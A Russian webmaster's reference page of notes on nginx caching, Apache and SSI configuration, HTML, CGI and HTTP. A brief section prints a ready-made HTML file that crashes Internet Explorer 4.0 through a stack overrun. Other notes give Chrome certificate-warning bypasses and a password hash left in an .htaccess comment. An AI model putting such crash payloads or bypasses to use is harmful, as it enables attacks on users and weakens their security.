Сыплет в error_log
 critical_release() failed: Invalid argument
 critical_acquire() failed: Invalid argument
 critical_release() failed: Invalid argument
 critical_acquire() failed: Invalid argument

    Причина  -  глюки  в  mod_throttle.
    Самое  разумное - mod_throttle отключить.  Палиатива - резко уменьшить
MAxClients (до 30 например - помогает но не надолго)


https://habr.com/ru/articles/428127/

proxy_cache_path /var/lib/nginx/proxy_cache levels=1:2    # вложенность
        keys_zone=my1_cache:60m inactive=2d    # название и срок
         max_size=10G  use_temp_path=off    ;  #  ФАЙЛЫ СРАЗУ ГРУЗИТЬ В КЭШ

## hash-ключи, обеспечивающие _разные_ кэшфайлы для разных запросов
proxy_cache_key $scheme$proxy_host$request_uri;       # default
proxy_cache_key $request_method$host$orig_uri:$cookie_some_cookie:$arg_some_arg;
proxy_cache_key $content_type$proxy_host$request_uri; # с поддержкой кодировки
# Примеры nginx-переменных
$request_uri;                   # GET | POST | HEAD
$http_{name}                    # HTTP-Header "name"
$http_{Content-Type}   text/html; charset=windows-1251
$content_type          text/html; charset=windows-1251
$request_uri  //contact?ref=gas # с параметрами
$uri          /contact          # "голый" URL без параметров
$scheme       https             # http|https
$hostname     myhost:9000       # с портом
$host         myhost            # только hostname без порта
$proxy_host == 127.0.0.165:80   # адрес бэкенда
#############################################################

# время жизни кэша для разных видов ответов
proxy_cache_valid 15m;
proxy_cache_valid 404 502 503 5m;
#       proxy_cache_valid any 1h;
        proxy_cache_use_stale error timeout invalid_header updating;

###### ОПТИМИЗАЦИЯ
# отдавать устарелый кэш если контент "запаздывает" или недоступен
proxy_cache_use_stale error timeout updating;
proxy_cache_background_update on; # пока новый недокачался - отдавать stale
proxy_cache_lock on;  # одинаковые запросы вместе - дождаться догрузки в кэш
# буферизовать вывод в log-файлы
access_log /var/log/httpd/lib.ru/acces_log-accel combined buffer=256k flush=9s;
# при отдаче файлов использовать syscall "sendfile"
sendfile on; # назначается на весь nginx в контексте http {}

#### МАНИПУЛИРОВАНИЕ ПЕРЕМЕННЫМИ NGINX: map split_clients if-set
map $uri $redirected_uri {
    /        /index.html
    /cntact  /contact
    /pricing /contact-sales
}
map $request_uri $cache {
   ~.mp4(?.*)?$ disk_cache;
   ~.avi(?.*)?$ disk_cache;
   default      ssd_cache;
  }
# хэширование запросов в разные кэшдиректории
split_clients $request_uri $cache {
    33% disk1;
    33% disk2;
    *   disk3;
  }

##### НЕ ИСПОЛЬЗОВАТЬ КЭШ ПО УСЛОВИЮ НА УРЛ #################
# если взведены куки
if ($http_cookie ~* ".+" ) { set $cookie_cache_bypass 1; }
   proxy_cache_bypass            $cookie_cache_bypass;
# конкретные директории
if ($uri ~* "^/GrepSearch|^/Forum|^/stat/" ) { set $no_cache 1; }
   proxy_cache_bypass            $no_cache;
# броузер запросил Pragma: no-cache
   proxy_cache_bypass            $http_pragma;
#############################################################
# управление зачисткой кэша
map $request_method $purge_method {
    PURGE   1;
    default 0;
}
 proxy_cache_purge $purge_method;

############# пример рабочего конфига
proxy_cache_path /var/nginx/cache levels=1:2 keys_zone=cache_ru:60m
     inactive=1d max_size=10G use_temp_path=off;
proxy_cache_key $content_type$proxy_host$request_uri;

   server {
        listen       1.2.66.163:80;
        server_name  example.ru www.example.ru;

        location / {
            proxy_pass   http://127.0.0.163;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            ###########  CACHE for example.ru #############################
            proxy_cache     cache_ru;

            # proxy_ignore_headers "Set-Cookie";
            # proxy_hide_header "Set-Cookie";
               proxy_cache_bypass $http_pragma;
            if ($http_cookie ~* ".+" ) { set $cookie_cache_bypass 1; }
               proxy_cache_bypass $cookie_cache_bypass;
            if ($uri ~* "^/GrepSearch|^/Forum|^/stat/" ) { set $no_cache 1; }
               proxy_cache_bypass $no_cache;

            proxy_cache_use_stale error timeout invalid_header updating;
            proxy_cache_background_update on;
            proxy_cache_lock on;
            proxy_cache_valid 404 502 503 5m;
        }

# nginx -t && nginx -s reload




thisisunsafe

Запуск google-chrome с ключем --ignore-certificate-errors
для MACOS добавить еще ключ --ignore-urlfetcher-cert-request



 strace `ps auxw | grep httpd |\
 awk ' BEGIN { l = ""; } { l = l " -p " $2; } END { print l; } '` 2>&1 |\
 less



Перестает работать SSI директива #if . Лечится

mod_include:

The  #if expr element now uses the new expression parser. The old syntax can
be restored with the new directive SSILegacyExprParser.

An  SSI* config directive in directory scope no longer causes all other
perdirectory SSI* directives to be reset to their default values.



# NB! не забываем открыт в файрволле 80 порт
while true ; do nc -l 80 < index.html ; done

  ( index.html должен содержать так же и HTTP-headers, в сыром виде)

Или через inetd.conf

service www
{
        disable     = no
        socket_type = stream
        protocol    = tcp
        wait        = no
        user        = nobody
        server      = /usr/bin/cat
        server_args = cat /tmp/index.html
}




Внимание Этот текст будет слегка более доступным
для понимания,  если вы посмотрите на него в  исходном  виде  -
"Document source"



vi src/include/httpd.h
#define HARD_SERVER_LIMIT 2000

./configure --help

./configure --show-layout \
  --sysconfdir=/etc/httpd \
  --logfiledir=/var/log/httpd \
  --runtimedir=/var/log/httpd \
  --add-module=/home/moshkow/src/mod_throttle-3.1.2/mod_throttle.c \
  --enable-module=rewrite \
  --enable-suexec \
  --suexec-caller=www \
  --suexec-docroot=/home \
  --suexec-logfile=/dev/null

UseCanonicalName Off


генерим сертификат
openssl req -new -x509 -days 765 -nodes > jj
cat prkey.pem jj > stunnel.pem

редактируем /etc/stunnel/stunnel.conf
и запускаем

stunnel





index.html       Если просят выдать каталог, то выдают index
                 если его нет, выдается просто оглавление каталога
HEADER.html      Его содержимое добавляется перед началом листинга
README.html      Его содержимое добавляется к концу листинга

.htaccess        Управляющий файл с локальными настройками текущей директории

Разобраться стоит с  этими  характеристиками:
 Alias  - где то должна лежать расшифровка. а сервер будет
                       ее подставлять.
Вот только где ?




Нужно задавать так:

           &  -  &
           "  -  "
           >  -  >
           <  -  <
          >>  -  >>
          <<  -  <<
         (C)  -  ©   или ©
         (R)  -  ®
              -  —
              -  –
          <=  -  <=
          >=  -  >=
 Extra space  -   



         Заголовок всего документа 

        

Заголовок 2-го уровня

Ссылка на подраздел в документе Ссылка открываемая в другом окне Так это место должно быть помечено в Документе
  1. Первая позиция
  2. Вторая позиция
  • 1
  • 2
  • ,
  • 1
  • 2
  • Название пункта
    Текст, расписывающий содержимое пункта
    Название пункта
    Текст, расписывающий содержимое другого пункта
            Преформатированный     фрагмент текста
    
            Преформатированный     фрагмент текста в ширину 80
    
    
    
    Устанавливает общий отступ вправо. Вынесенный вправо фрагмент текста
    Горизонтальная черта
    Окончание параграфа

    Жесткий конец строки
    Текст между этими тагами не будет переноситься на новую сторку каким бы длинным он не был

      Физические стили

    Bold жирный текст Itallic курсив текст Underline подчеркнутый Работает только в Netscape 3 Typewriter текст с фонтом фиксированной ширины Blink мигающий текст Strike перечеркнутый текст

      Логические стили

    Definition. Определяемое слово italic Emphasis. Ударение italic Titles of books. Цитата italic Programm. Программный текст fixed User keyboard entry. bold fixed Status message fixed Variable. italic Strong emphasis. bold
    Выделяется адрес italic

      Управление цветами и фонтами

    _BODY_ таги срабатывают только если расположены в самом начале документа А так устанавливают собственные цвета во всем документе А так делали траурные колера, когда протестовали. Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта Дальше пойдет текст с фонтом заданного размера а так же background звук

      Так выглядит обычная ссылка.

    Low impact

      Так вставляют картинку

    Если нужен текст сбоку от картинки Отступ текста от картинки ALT - что написать, если картинка не читается, LOWRES - перед рисованием большой картинки загрузить эту - маленькую Так подкладывают BACKGROUND

      Таблички -

    tr - задает строку СтолбецСтолбец
    Внутри таблицы может быть такой таг, Подзаголовок?
    Табличка фиксированной ширины,не зависящая от размеров внутреннего текста

    Back to my home page
    moshkow@ipsun.ras.ru
    
    

      Встроенная imagemap

      Блоки и квадратики

    КРУПНЫЙ ТЕКСТ В БЛОКЕ прозрачный отступ: spacer Табличка с цветным блочным заголовком и рамочкой
    $M{Ti}{$PI}
    $RazdelOut

      О протоколе HTTP/1.*

    Клиент открывает tcp соединение с хостом www.host.com на порт (обычно 80) и говорит туда GET /local/url/file/name.html HTTP/1.0 Host: www.host.com Http_referer: url_документа_на_котором_стоял_клиент Еще некоторое количество заголовков, которые рассказывают серверу, кто с ним имеет дело. Все они, кроме GET необязательны . . . ^M^J - пустая строка - конец заголовков - конец запроса Обратно вываливается ответ сервера: http-шные заголовки на нескольких строках ^M^J - пустая строка Собственно запрошенный документ as is Упражнение: скажите $ telnet www 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET /index.html HTTP/1.0 И потом два раза нажмите на Enter

      Как работет докачка в HTTP/1.1 протоколе?

    В запрос вставляется специальное поле "Range: bytes nnn-". Сервер с докачкой возвращает код 206 - "Часть содержимого" и передает запрошенную часть файла. Если сервер не поддерживает докачки, он просто возвращает 200 и высылает весь файл как при обычном запросе.

      SSI - Server Side Includes

    Полная спецификация лежит, например на www.apache.org 0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг XBitHack full и сделать им chmod g+x file.shtml 1. Чтобы SSI выполнялись, необходимо задать в конфигурационных файлах сервера: /etc/httpd/conf/access.conf :------------------------ # "Включить" Options +Includes # или даже Options All /etc/httpd/conf/srm.conf :------------------------ AddType text/html .shtml AddHandler server-parsed .shtml 2. Тогда SSI отрабатываются только в файлах с расширением .shtml Примеры: charset= The value will often be enclosed in double quotes; many com- mands only allow a single attribute-value pair. The allowed ELEMENTS are: config - параметры парсинга Атрибуты config errmsg - сообщение об ошибке, посылаемое клиенту sizefmt - формат размера файла timefmt - формат даты модификации файла var - напечатать имя переменной exec - выполнить shell или CGI-скрипт cgi - (%-encoded) URL relative path to the CGI script. cmd - выполнить shell fsize - напечатать размер файла file - относительное имя файла virtual -(%-encoded) URL-path relative файла flastmod - последннее время модификации файла include - вставить документ file - вставляемый файл virtual - URL - только на этом же хосте Include variables These are available for the echo command, and to any program invoked by the document. DATE_GMT The current date in Greenwich Mean Time. DATE_LOCAL The current date in the local time zone. DOCUMENT_NAME The filename (excluding directories) of the document requested by the user. DOCUMENT_URI The (%-decoded) URL path of the document requested by the user. Note that in the case of nested include files, this is not then URL for the current document. LAST_MODIFIED The last modification date of the document requested by the user. If server side includes are enabled, you will see data values below: The date is: The current version of the server The CGI gateway version The server name
    This file is called: This file's URI The query string This file was last modified: The size of the unprocessed file sample.html was last modified You are using You came from # Эмуляция SSI в perl-cgi if (//) { print $`;$tmp = $'; open (INC,"$inc") || die "Can't Open $inc: $!\n"; while () { if (//) { @time = localtime ( time() ); $time[4]++; if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; } s//$time[3].$time[4].$time[5]/g; } print $_; } close(INC); print "$tmp"; }

      Управление доступом через httpd.conf

    SetEnvIfNoCase Referer rusf\.ru internal_referer SetEnvIfNoCase User-Agent Teleport internal_referer SetEnvIfNoCase User-Agent Vampire internal_referer SetEnvIfNoCase User-Agent ReGet internal_referer SetEnvIfNoCase User-Agent GetRight internal_referer SetEnvIfNoCase User-Agent Wget internal_referer ErrorDocument 403 http://rusf.ru/books/index.htm order deny,allow deny from all allow from env=internal_referer # No offline browsers в robots.txt User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline Explorer, Web-By-Mail Disallow: / # Запрет линкования картинок с двух внешних порносайтов SetEnvIfNoCase Referer img\.jpg4\.info porno_referer SetEnvIfNoCase Referer mobihide\.com porno_referer order deny,allow deny from env=porno_referer

      CGI - спецификация интерфейса между сервером httpd

    и внешними, вызываемыми программами - gateeway'ями. Сам CGI-script должен лежать в /home/httpd/cgi-bin тогда его находят (или в других каталогах, описанных в acces.conf Данные передаются в командной строке, через переменные окружения, и через стандартный ввод. Возвращаются на стандартный вывод, в начале должна стоять "волшебная строка" Если добавить в коннфигурационный файл /etc/httpd/conf/srm.conf :------------------------ AddType application/x-httpd-cgi .cgi То CGI-скрипты можно будет клась в любой подкаталог дерева документов - с расширением .cgi

      Формы и индексы

    Войти в файл, и спозиционироваться на строку с шаблоном "cl" http://hoohoo.ncsa.uiuc.edu/file.html#cl Request for a CGI script with no extra path information and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi Request for a script with extra path information, and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path Request for a script with no extra path information, and an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query Request for a script with extra path information as well as an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента: extra path - "добавочный маршрут", идущий вслед за именем екзешника query - длинная строка после знака "?" на extra path работает image map - им передается имя описателя картинки query передается заполненным ISINDEX

      CGI-скрипту передаются такие параметры:

    Параметры передаются в переменных окружения. REMOTE_ADDR=127.0.0.1 REMOTE_HOST=localhost HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt REQUEST_METHOD=GET QUERY_STRING=query PATH_INFO=/marshrut PATH_TRANSLATED=/home/httpd/docs/marshrut SCRIPT_NAME=/cgi-bin/proba HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified А теперь вот как оформляются формы с checkbox'ами:
    Press me.

    Press me.

    # ISINDEX - параметр запроса передается пргограмме CGI в $1 # В форме METHOD=GET - там вызывается команда которой передается # аргумент в переменной окружения QUERY_STRING # http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off # А вот как работает POST, и PUT. Дополнительная информация проталкивается клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод. длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH а тип данных - в CONTENT_TYPE FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
    ^^^^^ поле полезно чтоб хранить информацию о "сеансе" Press me.

      Что мы посылаем клиенту обратно:

    Status: 200 OK Status: 404 File not found Content-type: text/html Содержимое, которое кидается сквозь нашего сервера - клиенту Если я генерю не содержимое, а только ссылку, то: Location: /path/doc.txt или Location: gopher://gopher.ncsa.uiuc.edu/ Генерим текст в чистом серверном виде - он поедет клиенту сразу, без дополнительной фильтрации: --- start of output --- HTTP/1.0 200 OK Date: Tuesday, 26-Dec-95 15:17:10 GMT Server: NCSA/1.3 MIME-version: 1.0 Content-type: text/html Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT Content-length: 3132 This is a plaintext document generated on the fly just for you. --- end of output --- Подставляйте туда соответствующие значения переменных $SERVER_PROTOCOL $SERVER_SOFTWARE

      Фенечки

    Автоподстановка URL с timeout'ом. Подставить в начало документа: Дальше идет местный HTML-документ - который через 12 секунд будет автоматически заменен на вышеуказанный URL Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в HTTP-заголовок документа. Например "насильственное взведение charset'а:
    I'm entering for the first time from (city, state/country)

    Content-type: text/html Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml Если сказать так, то клиент останется на старом месте, и не будет переходить по ссылке Status: 204 No Content А такой линк позволяет сразу заполнить некоторые поля в mailto послании tets Самокликаемое письмо > Была идея посылать в него сообщение когда мышкой над баннером проводят. > (Когда баннер интересен, часто к нему курсор подводят) > Но что-то я не допёр как это реализовать без hidden frame. В правилах устанавливаешь, что у тебя _стандартный код_ твоей сетки содержит: Когда клиент будет снизу _пересекать_ мышью твою однопиксельную полоску будет автоклик, а чтоб клиента не напрягать - пускай твой http://koshelev.ru/cgi-bin/bannerOver возвращает код 204 No Content - т.е. _не переходить_ на линк а остаться на старой странице. Ссылка на которую переходят автоматически Достаточно навести на эту ссылку мышь, и броузер пойдет по линку - без клика.

      Простые эксплойты

    MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag. <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________> opens a dialog box and closes IE 4.0. the long file extension causes stack overrun. --------cut here and save as crashmsie.html--------------------- Trying to crash IE 4.0 <EMBED SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789> 40 80 160 170 180 190 200 </HTML> ---------------------------------------------------------------

      Закрытие каталогов для внешних клиентов

    Создаем в каталоге файл .htaccess такого содержания order deny,allow deny from all allow from polimos.ras.ru localhost # с abc.com пускает просто так, с остальных адресов пускает по паролю Order deny,all Allow from .abc.ru Deny from all Satisfy any AuthType Basic AuthName lenta.ru AuthUserFile /home/www/passwd # moshkow:1HrhNpfYnwTau стандартный crypt() require valid-user

      См. также

    Константин Окраинец. Учебник по HTML из Дубны Фреймы и прочие дополнения, возникшие в HTML 2.0 и HTML 3

      Компиляция апача и php

    Русский apache берется с http://apache.lexa.ru Php4 берется с http://download.php.net/distributions/php-4.0.6.tar.gz Для динамической линковки php в апаче должен быть установлен модуль mod_so.c httpd$ ./configure --prefix=/home/ej/apache --add-module=src/modules/standard/mod_so.c make install php$ ./configure --prefix=/home/ej/apache --with-mysql --with-apxs=/home/ej/apache/bin/apxs --with-mod_charset make install

      Конфигурация suexec

    ./configure --enable-suexec --suexec-caller=lenta --suexec-logfile=/var/log/httpd/suexec.log --runtimedir=/var/log/httpd --logfiledir=/var/log/httpd --suexec-docroot=/home --layout ./configure --enable-suexec --suexec-caller=lenta --suexec-logfile=/dev/null --runtimedir=/var/log/httpd --logfiledir=/var/log/httpd --suexec-docroot=/home --enable-module=mod_lcookie --layout MaxClients -- src/include/httpd.h - HADVAR_SERVER_LIMIT

      Как предложить браузеру сохранить файл выдаваемый CGI-скриптом под

    именем отличным от текущего CGI. Для IE нужно выдать заголовок: Content-Disposition: attachment; filename=somefile.jpg

      Как указать RSS-feed

    - в

      Как стилями сделать абзацный отступ в теге

      Создание иконки favion

    Любым редактором создать картинку 22x22 или 16x16 Сохранить в формате png или ico (IE понимает только ico) В блок HEADER добавить адрес картинки Либо просто держать ее в /favicon.ico

      Защита от POST 405 на /

    От запросов вида 93.81.22.12 - - [12/Jul/2013:20:37:28 +0400] "POST / HTTP/1.0" 405 295 "" "" В апаче: Order allow,deny Deny from all В nginx'е location = / { limit_except GET { deny all; } }

      Защита от copy-paste


    Популярность: 26, Last-modified: Sat, 27 Jul 2024 06:38:44 GmT